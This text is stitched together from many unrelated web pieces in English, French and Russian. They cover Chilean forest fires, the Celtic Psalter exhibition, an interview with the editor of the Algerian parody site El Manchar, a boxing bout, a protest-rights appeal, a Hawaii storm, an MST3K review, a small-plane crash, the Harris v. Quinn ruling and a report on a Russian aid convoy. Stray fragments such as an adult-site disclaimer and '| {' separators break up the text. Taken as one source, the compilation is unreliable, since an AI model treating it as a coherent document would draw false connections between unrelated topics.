At least 200 people were evacuated from the Pichilemu, Radio Santiago reported. Authorities declared a red alert in Consititución on January 19, when a fire burned through commercial pine and eucalyptus forests near residential areas. Smoke from the fires also shrouded the nation’s capital, Santiago.
There were 108 active forest fires registered in Chile on January 23, 2017. According to an update by the National Forest Corporation (CONAF), 62 had been controlled and three had been extinguished. The remaining 43 fires spanned an area of roughly 104,800 hectares (more than 400 square miles), according to CONAF.
Chile recorded roughly 5,200 forest fires per season in the decade between 1990 and 2000, according to a report by the UN Food and Agriculture Organization. The country has a Mediterranean climate and a long dry season—conditions that facilitate fires. Chile registered more than 6,700 fires during the 2015–16 fire season.
NASA images by Jeff Schmaltz, LANCE/EOSDIS Rapid Response. Caption by Pola Lem. | {
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The public will get a rare glimpse of the 11th century Celtic Psalter The oldest book in Scotland is going on public display for the first time in its history. The Celtic Psalter dates from the 11th Century and contains hand-written psalms in Latin, with Celtic and Pictish illustrations. It has been kept under lock and key at the University of Edinburgh and has been available to only a few scholars. But for the next three months the public will have the chance to view the book at the university's library. The psalter, which is thought to be almost 1,000 years old, has been described as Scotland's version of the famous Book of Kells in Dublin. It contains a handwritten copy of the Psalms of King David in Latin, and has ornate pictures of dragons and beasts. Edinburgh University's rare book librarian Joseph Marshall said: "People have been reluctant to show it, but now we have a special display case, and really this is the book's first public outing in 1,000 years." The origin of the psalter is a mystery but experts believe it was probably produced by monks in Iona, who were also associated with the making of the Book of Kells. It's as beautiful today as it was when it was first written
Joseph Marshall
Edinburgh University It is thought that the pocket-sized book was donated to Edinburgh University's library around the 17th century, but it has only been available to students of medieval manuscripts. It is still in pristine condition because it has been kept out of public view for so long. Although the original binding has been lost, the script is bold and clear and the red, green, purple and gold in the illustrations are still vivid. Mr Marshall said: "It is a riot of colour. You would think someone had gone over it with a felt-tip pen." He added that he thought the book was probably commissioned by a figure of importance, such as St Margaret, Queen of Scotland. Mr Marshall said:"Someone has gone to town to make it look beautiful and it's as beautiful today as it was when it was first written." The psalter is part of a display which marks the refurbishment of the university library's exhibition room. "Masterpieces 1" also includes Scotland's only copy of the first book printed in any of the Gaelic languages. Also on display is the finest surviving copy of Scotland's first substantial printed book, the Aberdeen Breviary which dates back to 1509. There is also a copy of Shakespeare's Romeo and Juliet published during the playwright's lifetime. The exhibition opens on Friday and lasts until 14 March.
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Paul Bettany is an English actor. He first came to the attention of mainstream audiences when he appeared in the British film Gangster No. 1 (2000), and director Brian Helgeland 's film A Knight's Tale (2001). He has gone on to appear in a wide variety of films, including A Beautiful Mind (2001), ...
Jarvis Marvel
Iron Man 1/2/3
Avengers: Age of Ultron
Ok so in actuality (and I totally called it before we walked in the cinema Quinten!) Jarvis is Vision so this doesnt really count but I will keep it anyway :)
AvengersStill early days for this announcement but it appears that Mr Bettany may just be one of the first actors to play two different Characters in the same move. Jarvis all be it is just a voice role and depending on what they decide to do withthe role, Vision could be the same but none the less it creates quite an interesting conundrum and somewhat opens the door for actors playing multiple caharcters in the same movie (when that isnt the actual intention). Still lookin forward to this movie, still annoyed by there being two Quicksilvers. | {
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Au début du mois d'août, une partie de la presse internationale annonçait qu'un Algérien avait porté plainte contre sa propre femme après avoir découvert le visage de sa dulcinée sans maquillage. Sur les réseaux sociaux, nombre de commentateurs se sont insurgés sans vérifier d'où venait l'information. En réalité, l'article originel relayant ce drôle de dépôt de plainte était à mettre au crédit d'El Manchar, le site d'information parodique algérien.
Reprenant le principe de The Onion — le père fondateur des sites d'information parodiques —, dans la veine d'un Gorafi, Nazim Baya, rédacteur en chef d'El Manchar, a décidé de lancer son propre site en mai dernier. Il compte déjà près de 700 000 visiteurs uniques par mois et n'arrête pas de tromper les journalistes du monde entier avec ses articles qui flirtent parfois avec le domaine du crédible.
La cible privilégiée d'El Manchar reste le pouvoir algérien, et forcément le président de la République, Abdelaziz Bouteflika, qui est à la tête du pays depuis 1999. Asticoter le pouvoir en Algérie n'est pourtant pas simple pour les médias. En avril dernier, les autorités du pays ont réussi à suspendre la diffusion de l'émission satirique « Weekend » de la chaîne El Djazaira TV — parce qu'elle portait « atteinte aux symboles de l'État » d'après le pouvoir algérien.
Profitant d'un moment de lucidité, l'entourage de Boutef lui annonce qu'il est président de la république — el-manchar (@el_manchar)September 20, 2015
Reporters Sans Frontières estime que la situation de la liberté de la presse dans le pays est « difficile ». Le classement de RSF place l'Algérie au 119e rang mondial sur 180 pays recensés — entre le Mali et les Émirats arabes unis. On a joint par téléphone le rédacteur en chef d'El Manchar pour lui demander comment à 31 ans il faisait tourner un site d'information parodique en Algérie.
VICE News : Comment est né le site El Manchar ?
Nazim Baya, rédacteur en chef : Au début, El Manchar c'était une page Facebook où je publiais quotidiennement des petites vannes d'une à deux phrases. Puis après deux années de blagues sur Facebook, l'idée est venue chez moi de lancer un site. À la base, El Manchar était un journal satirique qui paraissait dans les années 1990, mais qui n'a pas fait long feu. Depuis sa disparition, il n'y a plus rien eu de parodique ou de satirique en Algérie.
Je me suis dit alors, pourquoi ne pas ressusciter El Manchar ? En parallèle, je voyais ce que faisait le Gorafi en France, donc j'ai voulu lancer un site parodique. Je me suis lancé tout seul, et après il y a des rédacteurs qui m'ont rejoint. Pour le moment, nous sommes cinq, moi compris.
Je suis très surpris par le succès du site, je ne pensais pas que cela prendrait autant d'ampleur. Ce qui participe à notre succès, c'est surtout le fait que parfois, pour ne pas dire souvent, on est pris au sérieux.
Comment le site fonctionne-t-il ?
Chacun travaille chez soi, on n'a pas de bureau. Chacun travaille tout seul, dans son coin. On ne fait jamais de réunion en fait. Sur les quatre autres rédacteurs du site, il n'y a qu'une seule personne que je connais vraiment. Les autres ce sont des amitiés uniquement numériques. Je ne les ai jamais vus de ma vie. Tout passe un peu par moi, je suis le rédacteur en chef et webmaster.
Pour trouver les sujets, le principal réservoir c'est de rebondir sur l'actualité, mais aussi de retourner les clichés. On traite de l'actualité mondiale, mais on se concentre quand même sur l'actualité algérienne, puisqu'on s'adresse à un public très majoritairement algérien.
Sa mère lui fait des allusions au mariage à longueur de journée, elle dépose plainte contre elle pour harcèlement... — el-manchar (@el_manchar)September 16, 2015
Quel est le profil des gens qui écrivent pour El Manchar ?
Personnellement, je suis pharmacien. Aucun de nous n'est journaliste —il y a des étudiants, des médecins ou des ingénieurs... Nous sommes tous Algériens. Certains sont établis en France, un autre est au Canada, puis le reste est àAlger. La moyenne d'âge est de 27 ans je pense.
Comment un pharmacien se retrouve à être rédacteur en chef d'un site parodique ?
Pourquoi ? Je ne sais pas, c'est comme ça... La vraie question serait « pourquoi pas » ?
Le Gorafi est une véritable inspiration ?
Le Gorafi est le premier site à faire de la parodie d'information — à part le site américain The Onion bien entendu. À la base, j'avais l'idée de faire un site satirique et non parodique. Mais quand j'ai vu le succès du Gorafi et je me suis dit pourquoi pas.
Des algériens quittent le pays pour la Syrie et la Turquie afin de se faire passer pour des réfugiés syriens dans... — el-manchar (@el_manchar)September 9, 2015
Parlons de liberté de la presse, vous avez déjà reçu des pressions ?
Pour être franc on n'a jamais eu de pressions qui se sont exercées sur nous. Il n'y a jamais eu de menaces. Tout se passe bien, c'est vraiment nickel. En réalité, ça me surprend un peu parce qu'il nous arrive d'être très virulents. Je pense que puisqu'on publie sur le Web, les autorités doivent se dire qu'on a un lectorat très marginal, très confidentiel. Pourtant on fait 700 000 visiteurs uniques par mois. Le pouvoir algérien n'a vraiment pas saisi le potentiel d'Internet.
Si le pouvoir venait nous titiller, je ne suis pas sûr que l'on pourrait résister. Son appareil répressif est très efficace. Il a la possibilité fermer El Manchar en une journée s'il le veut. Pas le site en lui-même, puisqu'il est hébergé en Allemagne, mais il peut exercer sur nous des pressions ou carrément nous arrêter. Les autorités ont la capacité de nous nuire, en tant que personnes. Pour cela, on protège un peu notre identité. Personnellement, je ne me mets pas beaucoup en avant, et la majorité des rédacteurs utilisent des pseudos —donc il est difficile de remonter jusqu'à eux.
Mais pourtant vous faites cette interview en votre nom propre, pas sous un pseudo ?
Oui, il faut croire que je suis courageux.
Quelle est l'histoire préférée que vous avez publiée ?
Il y en a plusieurs en réalité. Pour moi, les meilleures histoires sont celles qui sont reprises par la presse dite sérieuse — ce qu'on appelle un « hoax ». Par exemple, on a publié un papier où un nouveau marié déposait une plainte contre sa femme pour faux et usage de faux, après avoir découvert son épouse sans maquillage. De nombreux médias sérieux ont repris l'info comme si elle était véritable. Tout le monde est tombé dans le piège. Dernièrement, notre article sur de fausses déclarations de l'émir qatari a aussi été colporté d'un peu partout aussi. On faisait dire à Al Thani (l'émir du Qatar), à propos de l'accueil de réfugiés syriens : « Nous avons assez d'esclaves comme ça. »
Vous êtes surpris quand les gens vous reprennent, pensant qu'il s'agit d'une vraie info ?
Non pas vraiment. Par contre, ce qui me surprend, c'est que des journalistes de formation reprennent nos informations sans même les vérifier, et tombent dans le piège. Que les citoyens ne soient pas attentifs et relancent l'info, je trouve ça un peu normal, ils sont fainéants et s'arrêtent généralement au titre. Pourtant dans l'à propos du site, il est clairement spécifié que toutes les informations publiées sur El Manchar sont fausses.
L'actualité algérienne vous inspire ?
En Algérie, il arrive que la réalité dépasse la fiction. Parfois, quand on lit les titres de presse, on se dit « Ah ! Encore un article du Gorafi. » Mais il s'agit de véritables informations. L'Algérie est un pays de contradictions où l'absurde règne en maître. Par exemple, il n'y a pas si longtemps de ça, une jeune femme s'est vue refuser l'entrée à une salle d'examen de la faculté de droit, parce qu'on trouvait que sa jupe était trop courte. Voilà un exemple d'une histoire complètement surréaliste, mais qui est malheureusement vraie.
Etude mondiale sur le sommeil: l'Algérie, seul pays au monde où les cauchemars commencent au réveil — el-manchar (@el_manchar)September 21, 2015
Est-ce qu'il y a un humour algérien ?
Oui, il suffit de regarder les sketchs de Fellag ou de lire El Manchar. Les Algériens ont beaucoup d'humour.
Et le pouvoir algérien, il a beaucoup d'humour ?
Alors là, pas du tout. Le pouvoir n'a pas beaucoup d'humour. Dernièrement, une émission de télé a été arrêtée parce qu'on la trouvait trop impertinente et dérangeait trop le pouvoir en place. Le pouvoir a beaucoup plus peur de la télévision et de la presse écrite que du Web. Pourtant en Algérie, tout le monde va sur Internet, mais nous avons des dirigeants très vieux, qui manifestement n'y vont pas.
Vous pouvez rire de tout chez El Manchar ? De la religion comme de la politique ?
Cela nous renvoie directement à la question de savoir si on peut rire de tout. Je pense que oui, on peut rire de tout, si on prend la précaution d'enfiler un gilet pare-balles. L'affaire Charlie Hebdo en fait la démonstration me semble-t-il.
La religion en Algérie, c'est un sujet très épineux. On ne peut vraiment pas rire avec ça. Par contre, on peut rire des religieux. À part ça, tout est critiquable, tout est attaquable.
On ne se censure jamais pour des articles sur le pouvoir chez El Manchar. Sur la religion oui par contre. Il y a des articles que personnellement je refuse. Par exemple, aujourd'hui [ce jeudi] on m'a proposé un article sur le pèlerinage à la Mecque. Mais je l'ai refusé à cause de l'actualité [Ndlr, plus de 700 personnes sont mortes dans une bousculade]. Je sais que les Algériens auraient très mal pris qu'on parle de ça.
Des brésiliennes manifestent pour la reconnaissance de leurs bébés nés d'une liaison avec les supporters algériens — el-manchar (@el_manchar)September 12, 2015
On peut même rire du foot chez El Manchar.
Quels sont les gros sujets du moment chez El Manchar ?
Bouteflika est notre cible privilégiée. Il en a pris plein la gueule. Après, c'est vrai que c'est une cible facile d'un point de vue humoristique : il est vieux, il est malade, il s'accroche au pouvoir... Mais ce n'est pas lâche de notre part parce qu'il a la capacité de nous nuire même s'il n'en a pas formulé jusqu'à présent l'intention... On aime bien aussi taper sur le Premier ministre algérien, Abdelmalek Sellal, mais aussi Marine Le Pen, puisqu'un tiers de nos lecteurs habite en France. Sinon, Daesh est une cible habituelle, mais il n'y a pas grand-chose à faire. Ils sont déjà la caricature d'eux-mêmes. Parfois, les gens font le travail à notre place.
Des projets pour le site ?
Pour le moment, nous voulons rester sur Internet. À l'ère du numérique, passer sur le papier serait une régression. Pour écrire pour nous, c'est très simple, il suffit de me contacter. On ne cherche personne pour le moment, mais s'il y a des gens intéressants pourquoi pas. | {
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Undefeated rising junior welterweight contender Eddie Ramirez (17-0, 11 KOs) will step up and take on former world champion Antonio DeMarco (32-6-1, 23 KOs) in a 10-round match to open the television broadcast of the Premier Boxing Champions card on FOX and FOX Deportes on Saturday, Oct. 14 from StubHub Center in Carson, Calif.
Televised coverage begins at 7:30 p.m. ET/4:30 p.m. PT. and is headlined by sensational three-division champion Leo "El Terremoto" Santa Cruz defending his featherweight world title against Chris Avalos and four-time world champion Abner Mares defending his 126-pound championship against once-beaten Andres Gutierrez.
Tickets for the live event, which is promoted by Ringstar Promotions and TGB Promotions, are priced at $30, $50, $75, $100, $150, and $250 and are on sale now. To purchase tickets, visit AXS.com.
The 25-year-old Ramirez has made rapid progress this year in a 2017 that saw him jump from prospect to contender. He started the year with a rousing ninth-round TKO over then unbeaten Ryan Karl on Feb. 2 and followed that up with a victory over veteran Erick Bone in June. Fighting out of Aurora, Illinois, Ramirez won three times in 2016, including a knockout victory over then undefeated Kevin Watts.
"I'm trying to make a statement, and if I'm able to take him out, I'll take him out,'' said Ramirez. "But I'm also going to be smart at the same time. He's a veteran southpaw and a former champion, but his time is up and my time is now. So we're prepared for whatever comes our way. I'll do whatever it takes to win. I've been in a lot of tough fights, but they've all been worth it to get me prepared to become a world champion. I've been sparring with some big, tough guys and I'm ready to take on another one to get up there with the top fighters in the division."
The 31-year-old DeMarco of Tijuana, Mexico has an outstanding resume, which includes matches against Adrien Broner, Rances Barthelemy, Omar Figueroa, Jr., and Jessie Vargas. DeMarco won the lightweight world championship with a TKO victory over Jorge Linares in 2011 and successfully defended it twice before losing it to Broner in 2012. Most recently DeMarco won a unanimous decision over Luis Solis in their 10-round bout in February.
"This is a very important fight at this point for my career," DeMarco said. "I'm going to prove that I still have a lot to give in this sport and this wide-open division. Ramirez is a young, undefeated fighter and a very tough opponent, but I've been in a lot of big fights and as a former champion, I definitely believe that he has never faced an experienced southpaw opponent like me. I'll wear him down, round-by-round and if the knockout presents itself, I'll definitely go for it.
"I know he's a dangerous fighter, but I'm very calm and confident because of the experience I've gained and the camp I'm having. I know the truth about myself, and emotionally and physically, I'm 100 percent." | {
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Government Asserts Free Speech Exclusion Zones are Outside the First Amendment’s Protections
Monday, November 14 — Join the PCJF in Court in Washington, D.C.
A.N.S.W.E.R. Coalition v. W Ralph Basham, et al. (Case No. 16-5047)
November 14, 2016, at 9:30 a.m.
United States Court of Appeals for the District of Columbia Circuit
333 Constitution Ave. NW, Washington, DC 20001
Trump is elected and Free Speech rights are already at stake starting Day 1 – Inauguration Day, January 20, 2017.
We are going to court on Monday. We know that you share our sense of urgency and we are counting on you and others to support this fight.
The government has announced that on Inauguration Day space alongside the Pennsylvania Avenue inaugural parade route including Freedom Plaza and the area in front of the Trump Hotel will be free speech exclusion zones reserved for Trump supporters and funders.
On Monday morning, November 14th, at the U.S. Court of Appeals for the District of Columbia, the PCJF will defend the First Amendment rights of the people.
In an unprecedented court filing, the U.S. Government and its Justice Department argue that the government may take the public parklands, sidewalks and streets of America at the central moment of their use by the people for assembly, speech and debate, and petitioning of the government and redesignate our public spaces into exclusive “government speech” or No Free Speech Zones. There is no limitation to the scope of these zones.
The government has argued in its brief to the Court that with respect to these exclusion zones “the Free Speech Clause of the First Amendment is not implicated” – that Free Speech rights under the First Amendment do not apply to demonstrations on public space if the government chooses to support a pro-government or favored viewpoint instead.
This is a new constitutional doctrine — carving a massive hole into the First Amendment — that the Justice Department is for the very first time in history arguing exists.
You can imagine what this means for democracy in America.
If the government wins court approval of this radical evisceration of First Amendment rights, you can expect that President Trump (or any mayor or governor) will be able to prevent or displace protest on public space at will simply by declaring that public forums like our sidewalks and parks are reserved for private organizations espousing a pro-government viewpoint. If they can do it on Pennsylvania Avenue, “America’s Main Street,” on Inauguration Day, they will do it everywhere they wish.
At Monday’s hearing, the PCJF will demand that Freedom Plaza — so named in honor of Dr. Martin Luther King’s leadership of a civil rights movement that spoke truth to power and which so profoundly benefited our society — be made available to dissent, and that the buffer zone around Trump Hotel reserved for Trump supporters be disallowed.
The extreme danger posed to the Bill of Rights and the right to protest by the actions of the government cannot be overstated.
The PCJF has fought for the right to protest along the Inaugural route for 16 years regardless of administration. This case alone has been litigated since 2005.
As people come to Washington, D.C. to demand justice and equality, you can count on the PCJF to remain a staunch defender of Free Speech rights in the nation’s capital. | {
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By entering this site you swear that you are of legal age in your area to view adult material and that you wish to view such material.
All porn videos and images are property and copyright of their owners.
All models appearing on this website are 18 years or older.
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Outdoing yourself is always a great feeling. Thus brings the challenge of outdoing this!
I absolutely love how you did the cloud, great job on that. The figure is great, and shows some emotion in the posing. The folds coming out of his belt (I forget the name of the fabric belt things) to his right leg don't seem right however. I think there should be some folds creasing from his other leg onto that side. | {
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Hawaii bracing for Tropical Storm Olivia: 'We're not out of the woods' "We're not out of the woods," Honolulu Mayor Kirk Caldwell tweeted.
All eyes are on Hurricane Florence as the powerful storm churns across the Atlantic Ocean toward the eastern United States. But another storm in the Pacific could bring rain, flooding and dangerous winds to Hawaii on Wednesday.
Tropical Storm Olivia has been moving over the Hawaiian Islands near Maui since Wednesday morning local time, carrying sustained winds of up to 45 miles per hour with higher gusts, according to the latest forecast from the National Hurricane Center.
Tropical storm warnings are in effect for Oahu and Maui, as well as the smaller islands of Molokai, Lanai and Kahoolawe.
Olivia was downgraded from a hurricane earlier this week, and the storm is expected to continue weakening as it approaches the islands.
But the storm could still dump as much as 15 inches of rain on Maui over the coming hours as it crosses over the area. Up to six inches of rain had already fallen over parts of Maui by 5 a.m. local time.
The rainfall may produce "life-threatening flash flooding," the National Weather Service wrote in its latest bulletin.
The storm's winds are also generating large swells hundreds of miles away from shore, resulting in "dangerously high and potentially damaging surf" as the waves break along Hawaii's main islands over the next couple of days, according to the National Weather Service.
All public schools and state Department of Education offices in Maui County were closed Wednesday, and after-school activities were canceled for Maui, Molokai and Lanai to give people time to prepare for the storm's impact.
"We're not out of the woods," Honolulu Mayor Kirk Caldwell wrote on Twitter. "We could see heavy rain and tropical storm force winds, both of which could have the potential to cause significant damage."
Hawaii Gov. David Ige has formally requested a presidential disaster declaration in the event that Olivia causes "significant damage and losses" on any islands in the isolated archipelago state.
A letter from the governor to President Donald Trump on Tuesday asked for "direct federal support from Department of Defense assets for strategic airlift between the islands; temporary power generation at evacuation centers; technical assistance related to points of distribution and debris management action planning."
The governor also requested "immediate access to federal resources for search and rescue, potential medical evacuations, mass care and sheltering commodities and additional temporary power generation capabilities."
ABC News' Morgan Winsor contributed to this report. | {
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But perhaps you are not familiar with the show. I've described it to any number of people who told me they'd never heard of it, only to have them say, “Oh, yeah--that show with the funny silhouettes down at the bottom of the screen. I always wondered what that was.” Those who have never seen the show will find it easy to get up to speed for the movie, which explains the whole premise at the top. We learn about the diabolical Dr. Clayton Forrester, a twisted scientist who hopes to rule the world by frying our brains with the worst movies ever made. Will his plan work? To find out, he conducts experiments on the Satellite of Love, where the innocent Mike Nelson is his psychological subject. Mike fights back against brainwashing by using his sense of humor--he wisecracks all through the horrible movies, and is flanked by his robot pals, who join in.
“MST3K” looks easy enough that anyone could do it. But although we can all shoot a basket, not all of us are Michael Jordan, and the key to the program is in the scripting. My guess is that the show's hypothetical audiences consist of brainy technonerds with a wide and eclectic familiarity with pop culture, politics, literature and the movies. And to keep audiences on their toes, the program occasionally throws in esoteric references that may be completely meaningless to all but a few viewers.
Part of the appeal of the program is in the wisecracking. But the movies themselves are also crucial. They are so incredibly bad (many of them are not only out of copyright but perhaps were never worth copyrighting in the first place) that they get laughs twice--once because of what they are, and again because of what is said about them.
The odd thing about “MST3K: The Movie” is that its target is not that bad--or at least, not all that bad. On second thought, maybe it is. Let's put it this way: I liked it a lot more when I was 12 than I do now. The movie is “This Island Earth” (1955), starring Jeff Morrow, Rex Reason and Faith Domergue. It got fairly good reviews 40 years ago, although today the props and makeup are ludicrous, and whoever gave Morrow his towering forehead was seriously overestimating the credulity of the audience. As the film opens, Reason is saved from a plane crash by a mysterious and cheesy green ray, and soon receives a mysterious shipment of strange scientific parts, which he assembles with the assistance of a TV-like device that functions about as helpfully as the directions that come with mail-order bookshelves. The equipment allows him to contact an alien (Morrow), who invites him to dinner (much hilarious comment from Mike and the robots about good manners in seeming not to notice that the aliens look weird). Soon the humans board an airplane that looks from the outside like a DC-3, and from the inside like a plywood set. Mike boasts, “I'm fully instrument rated for Microsoft Flight Simulator!” They fly to alien headquarters, where they discover only they can save the Earth from the evil plans of one of the alien factions. “This Island Earth” was 87 minutes long, but “MST3K: The Movie” is itself only 73 minutes long, and since it has scenes of its own, we only see about 55 minutes of the original movie. Nothing I saw made me want to see more.
The problem with attending a movie like this is that it makes everyone into a comedian, and there's the temptation to wisecrack right along with Mike and his friends. Some people will find that alarming, since there’s already too much talking in movie theaters. My own feeling is that movies get pretty much the audiences they deserve: People tend to be quiet for good movies, and noisy during bad ones, and “This Island Earth” gets just about what it has coming. | {
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Description
Ease of Fuel buying for your company is finally here, access immediate fuel requests, set delivery location, date and time and all your historical data in one simple to use application. Key Features: - Place Fuel, Lube, DEF and Propane requests with a few easy steps - National coverage - Invoice History - Digital delivery Ticket uploads - Reporting and spend history! Disabled Veterans Fuel Corporation operates nationwide. As a disabled veterans owned company we are certified as a (MBE) Minority Business Enterprise, (SDVOSB) Service Disabled Veterans Owned Small Business and (DBE) Disadvantaged Business Enterprise ready to assist your company with all your diversified needs from equipment Rentals to Fuel Supply nationally. We will be the single source for all your set aside requirements. | {
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A small plane became tangled with a parachutist and nose-dived into the ground Saturday, the Polk County Sheriff's Office said.
The crash happened around 11 a.m. near South Lakeland Airport, and no one was seriously injured, authorities said.
Sharon L. Trembley, 87, of Mulberry was flying a Cessna 170bB and doing touch-and-go maneuvers, in which a pilot lands and takes off without stopping. At the same time, John Frost, 49, of Gainesville was parachuting from another plane.
About 75 feet above the ground, authorities said, the plane's passenger-side wing became entangled with Frost's parachute lines. The plane nosed downward, and Frost was flung to the ground.
Both men were transported by ambulance to Lakeland Regional Medical Center. Frost was treated and released, while Trembley was held for observation.
The Polk County Sheriff's Office originally gave Trembley's first name as Shannon. Authorities said Sunday his name is Sharon.
The National Transportation Safety Board and Federal Aviation Administration are investigating. | {
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The Supreme Court’s conservatives didn’t kill off unions this morning. But they took a swipe that will leave labor reeling and worrying—a lot—about the next case, or the one after that. Today’s decision in Harris v. Quinn is also bad for people with disabilities and the workers who care for them at home and get paid through government programs like Medicaid.
Today’s labor case is about a big question: Can unions continue to collect dues from workers who they represent through collective bargaining but who don’t want to pay their fees? (Or you can put the question this way: Can unions collect dues from a minority of workers who don’t want to join them when the majority do?) Back in 1977, in the foundational case Abood v. Detroit Board of Education, the Supreme Court approved this obligatory structure for union dues (for teachers) for two good reasons: to prevent free-riding and promote labor peace. This was all about fairly distributing the cost of recognizing a single union as the representative of a sector of workers, the court said, which Congress had earlier passed laws to support. It was all part of a package of making unions easier for governments to negotiate with and to reduce labor strife.
Today, Justice Samuel Alito, speaking for the majority in a 5–4 split along the usual ideological lines, makes it clear he doesn’t care about free-riding (or the health of unions at all). Instead, his concern is workers who don’t want to pay dues to support a cause they say they don’t believe in. It’s their objection to the union that matters, not the benefits the union has won for workers (including them).
Luckily for the labor movement, the big question in Harris has a small frame. The workers who don’t want to pay union dues are of a particular sort: They are “personal assistants”—home health aides—who care for disabled people in their homes, paid for by Illinois’ Medicaid program. They started trying to organize back in the 1980s, but couldn’t because the state labor relations board didn’t recognize them as state employees. Then in 2003, the Illinois legislature passed a law recognizing the personal assistants as government workers expressly for the purpose of collective bargaining. They voted to be represented by the SEIU. And they sure did benefit, as Ian Millhiser points out in ThinkProgress: Their pay went from $7 an hour to $11.65, with an increase to $13 due this December.
You will find those numbers buried in footnote No. 23 of Alito’s opinion. Of far more importance to him is 1) creating a new category of workers called “partial-public employees” who don’t have to pay union fees if they don’t want to and 2) attacking what he calls the “questionable foundations” of Abood and the whole idea of allowing unions to collect mandatory dues from any employees—public, partial-public, or private. The first part is bad for the home health aides in Illinois and the people for whom they care. If people can opt out of paying their union dues, that weakens the union, which eventually means worse terms of employment, which translates to worse service for patients. The second part of Alito’s opinion doesn’t really matter for today’s outcome, but it bodes ill for the next challenge to the way unions are funded, which surely a right-to-work, anti-union lawyer is already mounting.
Abood defined the terms for public-sector labor: It was a Supreme Court decision that set up the structure by which this whole segment of American employment operates. Alito tries to wall it off as “something of an anomaly,” but as Justice Elena Kagan argues back in dissent: “[T]he lines it draws and the balance it strikes reflect the way courts generally evaluate claims that a condition of public employment violates the First Amendment.” She also calls it “the foundation for not tens or hundreds, but thousands of contracts between unions and governments across the Nation.”
Alito signaled a couple of years ago, in a smaller case, that he was itching to rip up those contracts, or at least the terms underlying them. Now he has gotten in more whacks—in the name of free speech. “All they seek,” he writes of the workers who objected to paying dues to the SEIU, “is the right not to be forced to contribute to the union, with which they broadly disagree.” Once again, the First Amendment is turning out to be a powerful ax the court’s conservatives can pick up and wield against all kinds of laws and groups they don’t like, as I wrote last week.
Kagan is right when she says that the outcome of Harris is “at least better than it might be.” Abood stands. But when she adds that “our precedent about precedent, fairly understood and applied, makes it impossible for this Court to reverse that decision,” I’m not sure she can make it so just by saying it. Once the conservatives have teachers or firefighters or police officers before them who say they don’t want to pay their union dues, won’t they use today’s opinion as the stepping stone for toppling Abood and mandatory dues? The rules for the Supreme Court won’t change, and they work like this: Five votes turns the impossible into the possible.
One more note about the impact of today’s decision: A trio of disability rights groups (including the Judge David L. Bazelon Center for Mental Health Law, which is named for my grandfather) show in a brief for this case that collective bargaining over the conditions and terms of employment of home health aides, like the Illinois personal assistants, “has served the interests and independence of individuals with disabilities by helping to promote a stable personal assistant workforce.” The brief continues: “A ruling that declared Illinois’s arrangement unconstitutional would disserve individuals with disabilities and undermine efforts to achieve the goals of independent living.” It’s not as bad as it could be. But for people with disabilities who want to live on their own, and the workers who make that possible, it’s a real blow. | {
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Дождливым днем выдвигаемся из Москвы, надеясь к ночи оказаться на границе Харьковской области. Гуманитарный конвой стартовал из подмосковного Алабино утром 12 августа, но мы рассчитываем его догнать. Едем быстро, в одном месте превышая разрешенную скорость примерно на 40 километров. На обочине как раз дежурит ДПС.
– Куда спешим? – рутинно спрашивает гаишник.
– Гуманитарный конвой догоняем.
– И прямо на Украину поедете?
– Пока не знаем, до границы точно.
– Счастливого пути! Только не гоните.
Инспектор возвращает документы, не выписав никакого штрафа. Воистину, помощь братскому Донбассу превращается в национальную идею.
Игра «Найди колонну»
На самом деле настичь конвой не так уж легко. Проблема в том, что на середину дня 13 августа никто точно не знает, где он находится. Еще утром колонна должна была выехать из Воронежа в сторону Белгорода, а затем пересечь границу в пропускном пункте «Шебекино». Но она там не появилась. Украинские власти между тем обещают не пропускать гуманитарный конвой через КПП. Коллеги из «Новой газеты» звонят в Красный Крест, но там о местонахождении 280 машин ничего не известно.
Ближе к вечеру становится понятно, что фуры могли поехать в Ростовскую область на переход Донецк – Изварино. Тут есть важный нюанс. В украинском Изварине стоит не армия, а ополченцы, то есть именно они контролируют КПП. Провоз груза через этот пункт означает фактическое отстранение официального Киева от операции и признание сепаратистов силой, законно контролирующей границу.
В конце концов оказывается, что колонна так и провела весь день на военном аэродроме в Воронеже. Решался вопрос: в официальное Шебекино или неофициальный Донецк. Выбрали второе. Вечером 14 августа фуры оказываются вблизи города Каменск-Шахтинский, в паре десятков километров от Изварина. Там, в поле, они стоят и сейчас.
Встречающиеся в Ростовской области автомобили с луганскими номерами всячески подчеркивают свою неприязнь к официальной власти
Игра «Открой любую»
К утру пятницы в Ростовской области собралось столько журналистов, что МЧС решило устроить импровизированный пресс-тур. Журналисты могут попросить открыть любую фуру (все они опломбированы). Ожидая начала, разговариваем с Павлом, сотрудником МЧС. Он сопровождает конвой из Москвы. «Нормальные условия: готовим на горелках, с собой возим полевой душ», – рассказывает он. На вопрос, не страшно ли ехать в зону боевых действий, пожимает плечами и говорит, что был в Осетии и при ликвидации землетрясения в Чили.
С фурами действительно получается как при игре в наперстки: тыкать можно в любую. Выбранная нами оказывается на две трети заполнена питьевой водой. Процесс открытия контролирует представитель МЧС Сергей Кравченко, он же отвечает на вопросы журналистов.
https://www.youtube.com/embed/D36wUK--0Ms
Главный вопрос: почему многие машины заполнены даже менее чем наполовину? Сотрудник МЧС объясняет, мол, фурам так легче передвигаться. Звучит не очень убедительно. Сами водители никак это не комментируют, подчеркивая, что не они занимались распределением груза.
Некоторые фуры совсем не заполнены, непонятно, зачем было привлекать большегрузную технику
Я спрашиваю шоферов, часто ли дальнобойщики ездят налегке. Тут выясняется, что постоянная работа многих из них не связана с перевозками. В обычной жизни один – завхоз в детсаду, другой – разнорабочий, третий – продавец фруктов в Балашихе. Главное – наличие прав категории «Е». Два месяца назад будущих водителей набрали по объявлению, оформив в компанию «Аверс». Объяснили, что речь идет об одной поездке длительностью 2–4 суток. Александр из Санкт-Петербурга, отвечающий за техническую исправность колонны, говорит, что за весь рейд обещали 40 тысяч. Другие утверждают, что платят за каждые сутки, не уточняя сумму. Деньги будут выданы уже по возвращении, авансов нет.
Среди водителей есть и такие, кто не знал конечный пункт назначения. «Просто сказали рулить на М4, так и ехать внутри колонны», – говорит Михаил из города Великие Луки. По его словам, маршрут всегда объявляют в последний момент, а о предстоящем выезде сообщают за десять минут. Впрочем, ему все нравится, особенно слушать новости. «Доехали до Воронежа, легли спать. Просыпаемся, а по радио говорят, мы уже на Украине. Я разбудил напарника, говорю, прикинь, мы на Украине», – смеется он.
Сергею из подмосковной Каширы не очень повезло с техникой. Он управляет цистерной с водой, на подъемах она не тянет и отбивается от колонны. Говорит, вынужден был 300 километров проехать в одиночестве, но потом все же догнал своих. Рассказывая это, он хохочет. Он вообще очень веселый. Я спрашиваю, понимает ли он, что едет туда, где стреляют.
